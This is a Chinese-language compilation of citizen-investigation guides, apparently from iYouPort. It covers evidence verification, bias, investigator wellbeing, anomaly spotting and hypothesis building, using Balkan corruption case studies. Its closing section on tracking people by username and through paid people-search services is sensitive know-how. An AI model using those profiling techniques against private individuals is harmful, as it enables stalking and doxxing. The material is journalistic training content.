8、第一手证据—— 情况发生时，您就在现场，甚至可能您还能拍下事件。这就是第一手证据，也是对您的调查最有力的证据。您有机会，同时也有责任将整个事件彻底记录下来。您也要确保与其他相关人员建立联系，以便能够确认您的观察和证据，以防日后有人怀疑您调查的准确性。

何时验证

「图」

简短的回答是：始终。

📌 验证是一个反复的过程。您必须不断地反复做。这个过程不仅与您发现的某一个证据有关，还与所有的碎片如何结合在一起有关。

您发现的任何新证据都可能对您可能已经核实的旧证据产生合理的怀

疑。这就是为什么记录您的证据是很重要的；这样你就可以追溯自己的步骤，并一次又一次地进行验证。

验证的挑战

「图」

虽然核查是调查过程的核心，但也有许多障碍。在开始之前就考虑到这些障碍是有帮助的。

除了如何找到其他信息来源外，你自己的假设也是需要克服的最大挑战之一。

📌 无论您对所发生的事作何假设，个人的偏见都会影响您处理和验证信息的方式。很多时候，您可能只是寻找能证实您的偏见的信息来源，而不是检查可能与您的发现相矛盾的方面。

📌 如果这些假设不真实，您对人类信息来源的可信度的假设也会妨碍正确的验证。不要认为任何事都是理所当然的，因为即使是最值得信赖和可靠的消息来源有时也会出错，即使是无意的。

另一个挑战是找到创造性的验证方式 —— 准备好以不曾想过的方式使用信息源。例如，如果您想核实某位公职人员是否出现在某个地方，尽管他否认了，您可能不仅要访问他的社交媒体账户，还要访问他的亲戚和朋友的账户，以找到可能证实或否认的信息、评论和图像的线索。

如何验证

「图」

首先思考一下您对所收集的信息的任何问题或疑虑，以及您自己的假设和您或其他相关人员可能存在的潜在偏见，这会对您很有帮助。

您有什么是可以百分之百把握的？

- 如果是图像，您知道是谁拍摄的吗？什么时候拍摄的？用什么相机拍的？在什么地方拍的？您如何知道它没有被修改过？会不会有人想通过提供这张图片来误导您？（如果没有元数据的话，可以参见我们在 列表-3 “让它民主” 中介绍的信息验证技巧；对于地理定位和时间确认，可参见 列表-5 “侦探挑战游

戏” 中的演示）
- 您能真正确认图像中显示的主体和事件是来自您调查的具体日期、时间、地点和事件吗？
- 这个问题是否有争议？是否有一方通过散布这些信息而获得了一些好处？有一些团体散布虚假信息，希望有人不经核实就给他们关注。

核实信息主要有三个阶段：

- 核实信息来源： 您从哪里得到的信息？谁是掌握第一手信息的人？
- 核实内容：是否和它所说的完全一样？
- 验证其相关性：是否适合您的调查。

在任何调查中，您会从许多不同的来源收集信息。有些是显而易见的，而另一些可能不那么清楚。您可能会收到一封匿名电子邮件，一个文件信封，在社交媒体上看到一个视频，或者在随机网站上找到一份文件。如果对这些信息的来源有任何疑问，重要的是要核实它的来源 —— 是否来自原始来源，是否来自值得信赖的人，是否准确，还是被捏造或篡改，以及在将这些信息传递给您的背后是否有某种动机。

信息和证据可以采取各种形式，出现在各种媒介上。图片、视频、声音、书面证词和网页只是其中几种。对于每一种媒介，都有一些工具、技术和技巧可以帮助验证的过程。

为了严格检验您的证据，并控制您的偏见，您可以将研究过程和您的发现记录下来，并将它们展示给其他调查者，以确认它对别人来说是有意义的。

📌 然而，请始终确保您信任在调查的任何阶段与您分享信息的人，并且您 —— 以及任何合作者—— 都知道在您沟通和分享信息时如何保持数字和人身安全，简单说，合作者都需要熟知并有效使用《安全文化》。本系列中涉及的每个主题都包含有用的安全警告和建议，可供您独自或与团队合作调查时参考。

照顾好自己的情绪

「图」

在调查过程中，除了确立方法、收集和核实信息、建立证据等工作

外，您还必须处理好您的个人感情、原则和价值观。您将需要识别可能的偏见，也要小心不要承担超过您的情绪所能承受的范围。这些考虑在使用任何类型的方法和资源时都是有效的，不论是在线还是实地，或与人类信息源和受访者合作。

个人情绪

「图」

抑郁症和创伤后应激障碍（PTSD）等心理健康问题通常会影响到处理困难课题的调查人员。不应低估累积的压力和您对受试者、同事、家庭和自己的责任。感到低落和沮丧并不是您的错，您可以寻求更有经验的调查人员的建议。

如果您觉得这项调查对您造成了伤害，请大声说出来，并找到有效的治疗方案。例如，经历或听到创伤或调查腐败或不公正，可能会给您带来很大的压力。通常情况下，调查人员会觉得他人需要我继续调查，因为他们可能急需获得帮助。这可能会产生一种责任感，甚至会让一些人相信，花时间退后一步处理自己的心理压力是他们根本无法承受的奢侈。公民调查人员、活动家、人权维护者和许多其他直接处理影响周围人的问题的人可能经常会有这种感觉。这也是驱使调查员继续工作的主要因素之一，所以这可能也是驱使您的因素。

就如我们在《整体安全》系列中强调的，您的心理健康状态就像您的安全本身一样，应该永远放在第一位。如果您的能力因为您的精神状态而下降，那将会影响您的调查工作。如果在任何时候您觉得自己无法应对，您完全有权利休息一下，甚至停止做一些有损您健康的事。此外，即使您没有感觉到这种无助或压力，偶尔休息一下，和别人谈谈您的感受也是好的。往好的方面想，即使您的调查可能没有您想要的那么成功，您也一直在努力。

偏见

「图」

有时很难放下自己的情绪，无论是愤怒还是悲伤的感觉。即使您的心态是正确的，但面对敌对的消息来源或倾听脆弱的证人等情况也会引发您自己的情绪。如果这种情况发生在采访期间或调查的任何阶段，您必须能够专注于您的证据收集过程和您需要解决的问题。请记住，您只是一个所提供证据的接受者，并尽量保持心态平和、冷静，以达

到您的目标。

对一个故事产生感情是很自然的，特别是当您与您同情的消息来源交谈时。人们无意识的偏见使自己对一些故事更感兴趣，而对另一些故事则不太感兴趣。您应该接受这点，您不可能保持一个完全客观独立的观察者角度。但您仍然应该努力注意自己的偏见，并尽可能以公平和诚实的方式行事。如果您以牺牲他人的利益为代价来推行某种观点，或者由于您的个人偏见而忽略了重要的背景，您的调查就会失败。这也会损害您的声誉和可信度。

整体安全

「图」

没有什么比这更能说明外在安全和内在安全的含义了。整体安全意味着一种考虑到身体和情感因素的工作方法和生活方式。这种方法在人权维护者、活动家、调查记者、社区组织者、公民调查员等高风险群体中得到推广和鼓励。这不仅是关于采取适用于您的通信、研究、旅行或人际关系的物理和数字安全习惯和措施；它还涉及到如何保持身体和精神上的意识和理智，关心自己和周围的人，并花时间重新评估您的工作对自己和他人的相关性、影响和损失。不要错过整体安全系列教程，共**12**集：

- 《头疼医头是不够的：整体安全（1）- 行动主义能持续的关键》
- 《“抓特务” 不是解决方案：整体安全（2）- 威胁响应》
- 《知己知彼，是有效行动策划的第一步：整体安全（3）- 愿景、战略和参与者》
- 《夸大危险并无助于解决问题：整体安全（4）- 充分剖析您的信息资产》
- 《每一种变化都有原因，您需要及时抓取威胁信号—整体安全（5）- 紧贴时局》
- 《草木皆兵和”爱谁谁”都只会带来更多的危险：整体安全（6）- 开发您的能力，缓解您的脆弱性》
- 《充分的准备和应急反应同样重要：整体安全（7）- 计划是“活的”》
- 《安全是追求，而不是任务：整体安全（8）- 准备好进入行动》
- 《您需要真正的 “自己人”：整体安全（9）- 进入战斗状态》
- 《协调性很重要，从场内到场外：整体安全（10）- 安全是保

持战斗力的绝对必要条件》
- 《抗议中谨防常见危险：整体安全（11）- 协作和互助就是战斗力》
- 《场内协作和场外接应同样重要：整体安全（12）- 紧急撤离和汇报评估》

从您最熟悉的地方开始

「图」

当您刚开始调查的时候，从最舒适、最安全的切入点出发是有意义的。

IYP经常关注很多在线活动，比如开源情报。如果您是那种懂得大量社交媒体研究技巧的互联网侦察员，或者善于挖掘数据库和索引各种主题的在线信息，那就从这方面入手。

但如果虚拟空间不是您的菜，也许可以从观察和记录物理世界中发生的事开始。拍照，对事件和情况做详细的记录，与人们交谈，看看能否获得他们的信任，建立信息来源，不论是稳定的还是一次性的。

📌 在您的第一次调查开始时，没有必要去试验一种全新的或不舒服的收集信息的方式。就从您擅长做的事开始吧。

随着数字设备的出现和互联网上众多的信息来源，在书桌上就可以进行各种调查任务。数字化调查通常主要是案头调查，但也可以包括基本的线下调查，如去图书馆和档案馆，打电话或以上各种方式的结合。

数字调查是指您使用数字工具和媒体进行的调查。您的调查对象可以是数字的，如YouTube视频，也可以是模拟的，如政客官员的房产资产。

在互联网上可以访问的数据库是调查人员发现信息的好机会，而不是传统的挖掘实物记录档案的方法。越来越多的数据可以利用数字工具进行收集、过滤、连接和验证。具体的工具我们都介绍过。

然而，从屏幕后面进行调查并不像最初看起来那样安全和简单。

📌 调查工作面临着许多数字威胁，尤其是当目标人真的做了见不得光的事时，他们会拼命阻止任何曝光，这就是为什么那些腐败的官员

用汽车炸弹等暗杀手段对付独立调查的公民。发生在全世界的接连不断的真相灾难提醒未来的公民调查者，即使在进行数字调查时，您也需要了解一些重要的安全措施，以降低风险 —— 见我们的列表-5 “护盾” 板块中的内容。

对于某些调查，笔和纸是更合适的方法。将传统的和新的调查技术结合起来，可以非常有效。

通常情况下，尽管网上信息丰富，但有些证据是您用数字资源找不到的。可能是在您的国家没有关于这一主题的数据；但您只要选择创造性的信息收集方式，往往可以找到比您预期更多的东西。比如《如果你擅长搜索，你能找到一切》，这只是一个例子，在我们的 “开源情报” 专栏中看到更多技巧。

例如，全世界由捐助者资助的非政府组织在开始任何项目之前，都必须进行背景研究，以探索其感兴趣领域的背景。在这一过程中，他们经常进行调查，收集从未公布的详细数据集。

您可能需要了解有多少前民兵战士回到了您所在地区的家乡，这并不是一件容易的事；但是，一个为该特定群体提供心理支持的组织可能有这些数字。同样，您可能想知道一条河流的污染对当地社区的影响，但很难收集到准确的科学证据；也许有一个环保非政府组织对那些因为饮用了被污染的水而生病的人进行过研究和采访 …… 等等，类似例子还有非常多，简单说就是，旁路是可以很好用的。

在许多情况下，公众不容易获得这些信息，特别是当这些信息是为了作为其他目的的背景数据时。然而，如果您询问非政府组织，并解释为什么您需要这些数据，他们通常会愿意提供给您，或者帮助您的调查继续进行。

有些调查需要您自己进行实地探访，以收集证据并进行核实。实地调查意味着您要确定和收集第一手资料，您有责任记录这些资料并确认其准确性。它可以包括记录证词、收集样本、观察事件和地点，或到不同的地方与人们交谈。这些方法在本系列中都有涉及到。

在进行实地调查时，您也要小心谨慎。无论您是直接联系人们以了解他们是否可以成为您的消息来源，还是与他们会面以收集更多的信息，或者是去某个地点检查证据，都必须意识到每一步都存在各种风险。对您和他人的人身安全的风险可能很高。有时您可以降低这些风险，但其他时候，这些风险可能会让您难以承受，阻碍您的工作。

知道何时重新考虑，寻求帮助，或在可能的情况下暂时搁置一个项目，也是作为调查员的一种健康态度和财富。〇

—— 未完待续 ——

原文

保持敏锐需要一些技巧：开始调查（1）- 从嗅觉到行动力 - iYouPort

开始调查

对手的弱点就是您的武器。无知是被统治者的弱点，于是谎言就是统治阶级的武器；相反，真相是统治阶级的弱点，于是曝光真相的能力就是公民的武器

「图」

「图」

这里是一个新系列，也是直接行动的一部分 —— 公民获取真相行动。与我们此前提供的相关系列课程比如《解码秘密》、《让它民主》、《公民调查指南》等有所不同，本系列将着重于思考方式和一些工具推荐。

但本系列内容将用到很多我们此前已经具体介绍过的技巧，当遇到它们时本系列将以链接的形式呈现，不再具体解释。

新闻报道和调查性报道是不同的，前者只放大看得见的东西，后者则曝光看不见的东西。看不见的东西永远比看得见的东西更危险和更重要，相信我。

吹哨和调查性报告也有所不同，一定程度上后者包含前者；吹哨提供的信息必须通过调查性报告得到呈现，让大众可以读懂并从中获取自己的利益；调查性报告可以不包含吹哨人和黑客提供的信息，而是通过主动的挖掘以满足公众利益，比如这里的方案：《政治涂鸦和隐藏的信息：标志、符号和其他视觉线索协助追踪调查的入门指南》。

我们将公民直接行动的信息行动技巧板块取名为“让它民主”，这包含多层意思，从信息验证到信息挖掘、从吹哨到公民调查，我们将介绍全方面的知识和技巧，让那些曾经只有极少数人通过缴纳学费才能获得的知识被大众免费获得。我们认为知识就应该是免费的，真相尤其应该是免费的和无过滤的，只有公民掌握足够的知识技能和获取真相

的能力，才能做出正确的决定。

公民掌握真相是直接行动的重要部分，是民主的第一步，更是自由自治的基础工程。并不需要每个人都学会这一切，只要半数人了解基本的真假信息辨别方法、少数人了解调查方法、极少数人学会和吹哨人合作的行动，我们就足够开始构建自己的信息来源，摆脱matrix。

本文是构建调查的简单分步指南，关于当您准备启动工作时，应该如何思考。中国已经有一些很不错的公民调查行动者，希望我们的内容能帮助他们和更多人掌握专业的行动者思考方式，以提升质量和效率。

本文中的案例采自巴尔干地区非政府组织 BIRN (Balkan Investigative Reporting Network,) 的实践经验，这是一个非常出色的公民调查组织。我们将预想您已经有了一个亲密团队，您在一个组织中工作，而不是孤军奋战；如果不是这样，您将非常辛苦，面临更大的难度，尤其是，可能难以保持客观的视角和足够宽广的思路。

「图」

「图」

步骤1：寻找故事

作为调查者，您需要努力培养自己的第六感 —— 您发现不寻常的、无法解释的、或将引导您进行下一次调查的模式的能力。

调查者需要天生好奇心强，好奇心是非常有帮助的，但它可以训练出来，您可以培养自己敏锐地意识到那些伟大的不为人知的幕后故事的能力。

这里有一些技巧可以培养这方面的技能。

发现异常

要成为一名调查者，您必须能够迅速发现不寻常的地方—— “闻到老鼠的味道”。如果没有这种第六感，故事就会被您错过，甚至您会在研究中错过关键细节。

这种技能部分来自于实践，但本文的提示应该能帮助您敏锐地发现那些潜在的和隐藏的线索。

请仔细阅读下面这段来自欧盟法治特派团的新闻稿，问问自己，这个故事是否带有比其表面上更多的内容？：

确认对西班牙盗窃案6名嫌疑人的起诉书 *2012*年*7*月*10*日

普里什廷/普里什蒂纳地区法院的一名地方法官确认了一名欧盟科索沃法治特派团检察官对六名嫌疑人 *(*其中一名是区域行动特别行动小组的高级官员*)* 提出的起诉书，这些嫌疑人与*2009*年*7*月在西班牙巴塞罗那发生的一起盗窃案有关。

对 *Haki Januzi*、*Artan Xhaferi-Jelliqi* 和 *Shemsedin Benarba* 的起诉得到确认，他们被控犯有严重盗窃罪。*Artan Xhaferi-Jelliqi* 还被控未经授权控制、拥有或使用武器。

法官确认了对 *Afrim Ymeri*、*Abedin Beka* 和 *Saim Januzi* 的起诉，他们被控犯有刑事罪，在犯罪后向犯罪者提供协助。

法官认为，证据证明有理由怀疑这些嫌疑人犯下了他们被指控的刑事罪行。

被告被控与西班牙巴塞罗那一家酒店房间内价值约*130*万欧元的珠宝盗窃案有关。

该案正由欧盟科索沃法治特派团地区检察官领导的一个小组进行起诉。

这篇新闻稿似乎是一个非常标准的公告，宣布对一项似乎不起眼的罪行进行起诉，直到你读到第二行至最后一行。

当我读到这句话的时候，从页面上跳出来的直接问题是：什么样的人会拥有至少价值**130**万欧元的珠宝？还带着它旅行，然后把它留在酒店房间里？答案是：一个非常富有的人，或许还是一个对安全问题不计后果的人。

在获得进一步的法庭文件后非政府组织 BIRN 得以确认，这次犯罪的受害者是伊拉克库尔德斯坦总统的儿子，他在巴塞罗那的赌场长期逗留，期间一直在赌博。这就引起了进一步的疑问，他是如何积累如此多的财富的？他在巴塞罗那干什么？

本可以进行的另一项调查是，深入了解这个巴尔干团伙在巴塞罗那的活动情况，这是否是一次性的？他们是如何活动的？以及他们是否与其他巴尔干有组织犯罪分子如臭名昭著的 “粉红豹” 有联系。

因此，从一份简单的新闻稿中，出现了两项出色的和令人感兴趣的调查线索，需要进一步挖掘。

众所周知，新闻稿是由公关洗地部门用来敷衍大众的工具，他们希望甚至要求记者们直接复制、粘贴，不要对此有任何想法。没人爱读新闻稿。

但是，新闻稿却可以成为调查的有用起点，它可以从字里行间、时机和其遗漏的东西中透露出许多重要的信息。

📌 作为调查者，以下是一些您值得在阅读新闻稿时自问的问题：

为什么要发布这个新闻稿？它是否在抢先发布坏消息（例如，它是否在一天中异常晚的时候发布）？—— 这有可能是在抢占舆论导向；是谁发布的（是哪个部门还是哪个新闻官员）？—— 发布者是利益相关者；引用了谁的话？ —— 引用的人越有权势，越有可能是重要的，即使乍看之下并不重要。

语言和词汇是否清晰？是否有故意使用模糊的或不寻常的术语？

发布中遗漏了什么？关键细节？名字？重要事件？

是否有意外的或不寻常的细节需要进一步调查？

「图」

「图」

发现异常，了解平常

正如前面的例子所证明的那样，调查的一个关键部分是发现不为人知的和不寻常的背景信息。当您步行上班、出席新闻发布会、或翻阅数千页的政府文件时，您都应该对此保持警惕。

通常情况下，“不寻常” 的东西会非常明显 —— 尽管职业记者经常都不会对此跟踪报道。在涉及欧盟科索沃法治特派团新闻稿的案件中，您肯定同意，有人携带价值130万欧元的珠宝旅行是不寻常的。但是，有时常见和不常见的东西并不是一目了然，特别是当您对这个领域不了解的时候。

📌 要发现不寻常的事，您必须首先了解在某种情况下什么是寻常的。

例如，在阿尔巴尼亚从事建筑业的公司通常在当地注册。如果其中有一家公司是在英属维尔京群岛注册的，那就不寻常了，如果发现这种情况，您应该进行调查。

增加您发现故事的机会的最好方法是熟悉您正在寻找的领域和/或与熟悉该领域的人交谈。

不可能建立一个详尽的 “不寻常” 的清单，因为每个案例都是特定的，您必须让自己的直觉和常识在一定程度上指导您的眼光，📌 但这里有三个红旗要注意：

红旗**1**、离岸公司的存在。这是一个很明显的迹象，说明有不正常的事情发生了。

红旗**2**、 公共机构的声明过于谨慎、草率或咄咄逼人。在逆境和压力下组织，人员可能会有奇怪的反应。您应该对这类异常行为保持警惕。

红旗**3**、秘密和不透明的程序。 凡是有秘密、缺乏透明度和金钱流动的地方，往往都会出现严重的腐败 —— 您只需看看国际足联，或围绕英国国会议员报销的丑闻（让纳税人支付私人湖上的鸭舍或挖护城河！）。当某一过程中出现秘密和匆忙的情况时（例如紧急授予采矿许可证或招标），同样应该敲响警钟。

- 不要不错过《跟踪金钱的走向，追踪腐败和犯罪—— 解码秘密（7）》

案例研究—— 在黑山逮捕的军火商

2015年3月，一个塞尔维亚-以色列财团抢购了黑山的国有武器交易公司。

虽然以色列公司和交易商一直是秘密武器市场的主要参与者，但仍然值得注意的是，2015年3月，是一家以色列公司 ATL Atlantic 与塞尔维亚公司 CPR Impex 合作收购了黑山国防工业公司。

这为调查者提供了动力，让其了解更多关于这笔交易的信息，以及谁是幕后推手。

ATL 公司在保加利亚开设了一家子公司，保加利亚的公开记录显示，该公司最近由一个叫 Serge Muller 的人拥有。

经过简单的网络搜索，出现了两条重要线索。第一，Muller 是一个臭名昭著的军火和钻石商，他以前曾经与比利时的 ATL Atlantic 公司有联系。

第二条是，在黑山政府与ATL公司签署交易的同时，Muller 根据比利时的逮捕令在黑山被捕。这就提出了一个重要的问题 —— Muller 是否还参与ATL Atlantic 公司，他是否出席了签字仪式？

通过各种采访，调查者得以拼凑出 Muller 的行踪，并证明他在离开签字仪式后立即被捕，而且他继续在ATL公司中扮演一个角色，尽管是非正式的角色。在调查报告发表后，该案件被移交给了检察官。

这个例子说明了调查者的直觉 —— 感觉到有什么不寻常的地方——是如何带来重要的启示的。

从报告中发现未被报告的情况

许多伟大的调查线索都隐藏在众目睽睽之下。我的意思是，所有信息都是公开的，往往可以在网上获得，有时已经在媒体上公布，但是尚未拼凑出全部情况。

这往往是因为职业记者没能提出必要的问题，在每天的截止日期前匆匆忙忙地发稿。

因此，您会在这些职业记者未完成的工作中发现许多调查的重要线索。

案例研究——

据广泛报道，Zvonko Veselinovic 是2011年领导反对科索沃政府的起义的塞尔维亚地下人物，他曾参与科索沃10亿欧元高速公路的建设。

一些消息来源甚至说，他参与了位于科索沃北部与塞尔维亚边界附近的一个采石场的工作。

与此同时，其他新闻机构报道了与执政的科索沃阿族政党领袖 Hashim Thaci 有联系的高级人物如何在科索沃北部开设了一个采石场。

将这两则新闻并列在一起看，值得注意的是，没有人发现两者之间的潜在联系。

根据来自贝尔格莱德的法庭证词、公开文件和对关键人物的访谈，调查人员能够得出结论，Zvonko Veselinovic 向与科索沃民主党有联系的公司 Arena Invest 提供后勤服务，该公司从修建公路的公司那里获得了一份重要合同。

「图」

「图」

发现模式

另一个有用的技巧是寻找事件的模式，以突出调查或扩大故事的范围。

📌 要做到这一点，您需要剖析您所拥有的所有信息，将其分解成最基本的形式。比如对于一个可疑的招标，这将意味着编制一个电子表格，涉及的公司、业主、官员、律师、地址、电话号码，等等。

然后，您可以看看其他招标涉及的一个或多个上述元素，进行对比。

步骤2：初步事实调查

所以，您发现了一些不寻常的事，引起了您的兴趣，经过一些基本的研究，您开始在脑海中形成一幅画面，说明这个故事可能是什么。这幅画面，或者说是一组场景，是您调查假设的开始。

在接下来的几天或几周内，您需要充分检验这个假设，并提出一些搜索性的问题，比如 这个故事是什么，挖掘这个故事需要花费多少钱，需要多少时间，联系和旅行的后勤保障是什么，尤其是 —— 这个故事是否符合公众利益。公民调查应该且必须完全符合公众利益。

在这一过程结束时，您将形成一个调查假设—— 结合您的最小和最大的故事，我们将很快解释—— 这将指导您整个调查，为您的调查报告的内容和方向提供明确的指引。

初步研究，建立一个事实和假设的清单

一旦您有了一个潜在的故事，您需要通过一些基本的研究来完善它。这将帮助您了解您的故事是否值得追寻，并对其进行架构。这个初步的范围界定所需的时间将取决于您对这个主题及其复杂性已经了解多少。

📌 研究内容应该包括：

- 对所有现有材料进行彻底的审查。您可能需要使用在线媒体档案，当然也可以使用谷歌。许多媒体组织和非政府组织现在都会公布他们工作的原始资料 —— 您可以仔细检查这些资料以寻找线索。
- 使用社交媒体建立目标人物的初步档案，也就是开源情报。
- 检查其他官员、在线材料来源—— 政府招标、公司注册、法院文件、联合国报告 —— 看看是否可以找到模式或其他潜在的研究途径。
- 如果有关于您选择的研究领域的书籍或学术资料和非政府组织的报告，那么现在就开始阅读它们。这将给您提供深入的知识，以了解您所进入的世界。如果您要充分调查，就需要掌握您的调查主题所涉及的专业术语和过程。
- 与那些可以给您提供调查主题概况或表明您是否走在正确的轨道上的消息来源交流。在初始阶段不要花太多时间在这上面。具体做法《在人与人之间 …… 如何从信息源的头脑中挖掘想要的情报—完整指南》。
- 研究故事的背景，问问自己为什么这个问题很重要？是否有受害者，他们会是谁？
- 尝试计算出所需的成本和时间。

您需要建立一个列表，以总结您的初步发现。以便形成下一步假设。

「图」

「图」

步骤3：可行性问题

在您开始调查和提出假设之前，必须先问问自己有哪些相关文件、在哪里可以找到资料来源。

如果您知道一个故事是无法证明的，那就没有什么意义了。现在不是对缺乏信息感到沮丧的时候，而是要仔细考虑您能合理地期望达到什么目的。

画出一个粗略的事件时间表，或系统如何运作的流程图，列出每个阶段的文件、以及参与或将了解这些情况的人。在这个事件链中，寻找最薄弱的环节，即：最可能说话的人。

📌 这里有一个有用的问题清单，可以作为检查表使用：

1、有哪些与您的调查主题相关的文件？能否通过公共数据库获得这些文件？信息自由请求呢？哪些机构持有副本？是否有相关的法院案例？商业纠纷？涉及的费用是多少？

2、哪些来源会有与调查相关的信息？涉及多少人？他们在哪里工作？他们有多大的发言意愿，他们可能有什么动机去揭发？或保持沉默？您能轻易地确定前雇员的身份吗？谁会吃亏？谁是受害者？

3、有多少人和哪些国家参与调查？调查的国际性如何通过提供额外的信息来源来帮助您的工作，或者通过使研究更加复杂来阻碍您？您能否从更透明的司法管辖区获得相关信息？

4、是否涉及离岸实体？您可能面临的主要复杂情况是什么？是否有绕过避税天堂秘密的潜在方法？

步骤4：找到间距

建立一个假设

您的假设是您想要证明（或反驳）的东西，因此将指导您完成您的调查、您将联系谁、您将寻找哪些文件。

它是一个非常有用的工具，不仅可以集中您的思想，而且可以向您的编辑和合作者解释您正在做什么。把您的假说弄好了，推出您的想法应该是很容易的。

从科学家到警察，许多领域都使用假设来构筑自己的工作框架，然后在整个研究或调查过程中对其进行测试 —— 证实或证伪。

📌 您需要仔细考虑有什么样的信息，以及如何获得这些信息，您的理论应该根据您的初步研究和您的直觉、为何时、谁、为什么和如何等问题提供答案。

请记住，证明事件的发生或决定的作出是很容易的，但要证明其背后的意图却非常困难。例如，证明一位部长将合同授予朋友是很容易的，但要证明部长将合同授予朋友是因为他们之间的私情，就要困难得多了。

在这种情况下，您的 *假设* 可能是，合同是由于私情而授予的，但

要仔细考虑如何证明这一点。

案例研究——

当著名的巴勒斯坦政治家穆罕默德·达赫兰被发现在2013年悄悄地、莫名其妙地拿到了一本塞尔维亚护照时，公民调查者立刻察觉到这是一个需要追踪的线索。

调查者开始查证这一切是如何发生的，并深入研究这个故事的可行性。在探索数据之后，他们发现了这些事实：

- 达赫兰和他的妻子以及四个孩子分别在2013年和2014年获得了公民身份；
- 在同一时期，还有6名巴勒斯坦人也获得了公民身份，往往是与达赫兰的家人同时获得的。初步调查显示，这些人都是达赫兰的支持者，过去曾与他一起工作；
- 公民资格往往授予著名的体育和艺术领域名人，而不是政客；
- 近年来，没有任何其他巴勒斯坦人获得过塞尔维亚公民身份；
- 该决定是由总理和/或内阁成员作出的；
- 在此期间，达赫兰一直与阿布扎比在塞尔维亚的投资者合作，带来了数十亿的投资承诺，并因其桥梁建筑而受到塞尔维亚总统的表彰；
- 穆罕默德·达赫兰当时因在巴勒斯坦的腐败问题而受到调查；

由此公民调查者形成这样的假设：塞尔维亚政府向一群有争议的巴勒斯坦人发放护照，以报答穆罕默德·达赫兰为塞尔维亚带来的大笔资金。

定义您的最大和最小故事

调查是复杂的和不可预测的，因此不可能准确地预测到结果，特别是当您依赖自己无法控制的消息来源和公共机构时。

即使是最优秀的调查者，使用所有可用的工具，也需要一点运气，特别是必须考虑到成本和时间限制。

📌 因此，重要的是，通过设定一个最低限度的故事来建立一个安全网，即使在消息来源失败和文件不存在的情况下，您也可以发布这个报道。

如果您的最低限度故事仍然值得发表，那么即使运气不佳，您的调查

项目也不会失败。

📌 并且，同样重要的是设定您的最大故事。如果您收集到了所有您预想中的文件，所有的来源都能说出真话，这就为您提供了您的最终野心。

有了一个假设，有了最小和最大的故事图景，现在您已经准备好了向您的合作者解释这项调查的意义，正式进入工作。

步骤5：制定研究计划

您应该先把您预想的故事分成过程中的各个阶段或时间轴上的事件。

📌 从那里，注意到每个阶段创建和使用了哪些文件，谁参与了这个过程，以及还有谁可以获得相关信息。

大多数故事都可以以这种方式来分解，但如果不能，那么就试着想象您的调查中的个人或公司与其他个人、其他公司和机构（从联合国到小的市议会）的所有互动。记下这以及获取信息的可能性。

然后，您应该分析每个阶段，以确定链条中最薄弱的环节 —— 哪些机构有可能给您提供文件？哪些人有可能与您交谈？

您还应该考虑获取信息或联系人员的难度和时间（例如，信息自由法申请可能是非常困难的，在英国权利组织的经历甚至是需要好几年才能拿到）。

写出您的研究计划（使用电子表格效果会很好），并与您的同事分享。在此与任何直接行动的框架是近似的，您的团队中的所有人都需要明确行动目标，知道该如何做到、了解自己的分工角色、并熟练使用安全文化。〇

—— 未完待续 ——

原文

没有固定模式，但总会有一些迹象：从追踪到验证的思考方式（1） - iYouPort

开始调查

一些非常简单的技巧，有望帮助更多人掌握信息验证和追踪调查的方法

「图」

「图」

【按】这里是一个新系列，主题如题，主要关注信息验证和简单的网络追踪调查。其中大多数经验和技巧我们曾经分头介绍过，于是本系列将作为另一个框架式的指南出现，将曾经分散的知识点在案例中串联起来，类似《解码秘密》等系列指南的结构。但本系列将更简单，倾向于更多人可以掌握的基本功。

当遇到具体的知识点时，在本系列中将以附带链接的形式出现；一如既往，如果您的社区/亲密团队采用该系列内容作为培训材料，请将其中关联的知识点单独讲解。

此外作为普通互联网用户，您只需要掌握其中的三分之一左右，即 形成一种基本直觉，和几个简单的工具以验证疑惑，您将不至于上当受骗。

IYP 列表-3 的 “让它民主” 板块收纳了很多信息验证的技巧，本系列内容大多来自职业调查记者，将作为上述板块的一个系统性补充。

信息验证是开源情报尤其是社交媒体情报最民主化的用例之一。

「图」

「图」

如今的几乎所有调查都涉及到社交媒体上的侦查。从背景资料到突发

事件，再到时间跨度较长的调查，都是如此；社交媒体平台提供了一些最好的方式可以了解一个调查对象的真实生活 —— 他们的家庭、朋友、工作、个人政治和所在组织/社区 —— 同时也是了解调查对象的秘密想法和隐藏的关系网络的窗口。

- 不要错过《巧用互联网，以找到您最想要的信息：搜索思维作为基本功》

人们越来越多地在网上生活，查找和搜索调查对象的社交媒体资料的工具无处不在。同时，无论是普通人还是坏人，都在隐藏行踪方面变得越来越聪明。与此同时，像 Facebook 这样的社交媒体平台更加倾向于将数据归为己有，该公司关闭了许多公民调查者和研究人员发掘故事和识别人物的调查工具。

这是一个无奈的规律，这些监视资本家不会让独立的开源情报调查免费获得数据，即使只有这些独立调查才是对数据的真正民主用法。开源情报工具会层出不穷，但也很可能会被 Facebook 干掉，或者被更好的工具取代。最擅长这项工作的调查者都有自己的流程和趁手的小工具来达到目的，这需要在实践中摸索。但是您完全可以借鉴专业人士的经验，有一些规则可以完全适合初学者。

用户名

一个用户名有时就是您调查的全部，比如您想追踪一个坏蛋。当时新罕布什尔州的一位共和党州议员就是这样，他建立了Reddit最热门的也是最可恶的男性社区之一。揭开 Reddit 的 “The Red Pill” 社区（现在是一个被隔离的社区）幕后人的调查，就是从用户名 “pk_atheist” 开始的。

「图」

「图」

很多人都会使用相同的或者相似的用户名在不同的社交媒体平台和电子邮件地址上，这就是为什么跨平台追踪成为社交媒体情报的基本功之一—— "相关工具非常多，都是免费的"。而更加注重安全的人，比如新罕布什尔州这位议员，在每一次新的注册中都会创建完全不同的用户名。

「图」

「图」

不管是什么情况，在入手的最初您都应该试试常规的跨平台追踪方法，有多个网站可以做到，把您要搜索的用户名输入进去就行了。

首先，将目标的用户名插入谷歌。很多人 —— 尤其是那些想要避开大型社交媒体平台的年轻人 —— 往往会在更意想不到的地方留下数字足迹，包括评论区和论坛，这些地方可以引导您找到想要的信息和其他账户。

还有一些是专有服务，它们要花钱，根据您的预算衡量吧，尽可能使用免费的工具。

大多数商店都有 Nexis，它对公共记录和法庭文件非常有用，但遗憾的是缺乏电子邮件/用户名的类目，而且它更多偏重美国人。Pipl 和 Skopenow 是相关工具中最好的之一，用于交叉引用 “现实世界” 的信息，如电话号码和财产记录，与在线记录 如电子邮件和用户名，进行交叉查询，并且都可以在全球范围内使用。

这些付费搜索引擎通常提供电话和财产记录，但它们也可以识别即使在账户被封锁后仍然存在的 Facebook 和 LinkedIn 资料。它们还可以找到人们已经基本遗忘的旧账户，比如旧的博客，甚至亚马逊的愿望清单 —— 这是一座金矿，可以帮助调查者了解目标人的阅读、购买和想要什么的内心世界。

